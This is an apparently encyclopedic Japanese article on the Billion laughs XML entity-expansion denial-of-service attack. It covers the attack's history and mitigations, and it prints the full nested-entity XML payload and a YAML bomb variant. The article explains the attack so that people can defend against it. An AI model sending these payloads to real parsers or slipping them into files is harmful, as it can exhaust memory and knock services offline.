Billion laughs攻撃

コンピュータセキュリティにおいて、Billion laughs攻撃とはXMLドキュメントのパーサーを対象としたDoS攻撃の一種である。^[1]

XML爆弾や指数的エンティティ膨張攻撃(exponential entity expansion attack)とも呼ばれる。^[2]

概要

攻撃例は10個のエンティティからなり、各エンティティは前のエンティティ10個からなる。最も大きなエンティティのインスタンスは最初のエンティティのコピー10億個になる。

最初のエンティティが文字列 "lol" である例が特によく挙げられるため "billion laughs" と呼ばれる。これによって消費される主記憶容量はXMLをパースしているプロセスが利用できる量を超えると考えられる(この脆弱性が報告された時点では確実に超過する)。

この攻撃の原型はXMLパーサーに特化したものだが、この手法は似たような問題にも同様に適用できる。^[1]

この問題は2002年には報告されていた^[3]が、ひろく取り上げられるようになったのは2008年である。^[4]

この種の攻撃への対処法としては各パーサーの割当メモリへの上限の設定(ドキュメントの喪失を許容できる場合に限る)や、エンティティを記号的に扱いコンテンツが必要になる(展開する必要がある)ときまで展開を遅延するなどがある。

コード例

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XMLパーサーがこのドキュメントをロードすると、テキスト "&lol9;" を含むルート要素 "lolz" をロードする。ただし "&lol9;" は文字列 "&lol8;" を10個含む文字列に展開されるエンティティとして定義されている。文字列 "&lol8;" は文字列 "&lol7;" 10個に展開されるエンティティとして定義されており、以下同様に続く。エンティティの展開が最後まで進行するとこの小さな(1KB以下)XMLブロックは 10⁹ = 10億個の "lol" が含まれることになり、3ギガバイトほどのメモリを消費する。^[5]

バリエーション

上述したbillion laughs攻撃は消費する空間が指数関数的増加をする。この二次的爆発(quadratic blowup)バリエーションは大きなエンティティの単純な繰り返しの繰り返しによって必要ストレージ量の二次的増加（英語版）を引き起こすことで過剰にネストしたエンティティの検出という対策をすり抜ける。^[6] (増加クラスの比較については計算複雑性理論を参照。)

"Billion laughs"攻撃は参照のある任意のファイルフォーマットに存在する。一例としてこれはYAML爆弾である:

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

このため、信用できないソースからのデータには参照のないファイルフォーマットが推奨される。^[7]

脚注

^ ^a ^b Harold, Elliotte Rusty (27 May 2005). “Tip: Configure SAX parsers for secure processing”. IBM developerWorks. 4 March 2011時点のオリジナルよりアーカイブ。4 March 2011閲覧。
^ Sullivan, Bryan (November 2009). “XML Denial of Service Attacks and Defenses”. MSDN Magazine (Microsoft Corporation) 2011年5月31日閲覧。.
^ “SecurityFocus” (2002年12月16日). 2015年7月3日閲覧。
^ “CVE-2003-1564”. Common Vulnerabilities and Exposures. The MITRE Corporation (2003年2月2日). 2011年6月1日閲覧。
^ Bryan Sullivan. “XML Denial of Service Attacks and Defenses”. 2011年12月21日閲覧。
^ https://docs.python.org/2/library/xml.html#xml-vulnerabilities
^ http://www.cio.com/article/3082084/web-development/xml-is-toast-long-live-json.html

[harold-2005-1] Harold, Elliotte Rusty (27 May 2005). “Tip: Configure SAX parsers for secure processing”. IBM developerWorks. 4 March 2011時点のオリジナルよりアーカイブ。4 March 2011閲覧。

[2] Sullivan, Bryan (November 2009). “XML Denial of Service Attacks and Defenses”. MSDN Magazine (Microsoft Corporation) 2011年5月31日閲覧。.

[3] “SecurityFocus” (2002年12月16日). 2015年7月3日閲覧。

[4] “CVE-2003-1564”. Common Vulnerabilities and Exposures. The MITRE Corporation (2003年2月2日). 2011年6月1日閲覧。

[5] Bryan Sullivan. “XML Denial of Service Attacks and Defenses”. 2011年12月21日閲覧。

[6] ttps://docs.python.org/2/library/xml.html#xml-vulnerabilities

[7] ttp://www.cio.com/article/3082084/web-development/xml-is-toast-long-live-json.html

[1]

[2]

[3]

[4]

[5]

[6]

[7]

概要

コード例

バリエーション

関連項目

脚注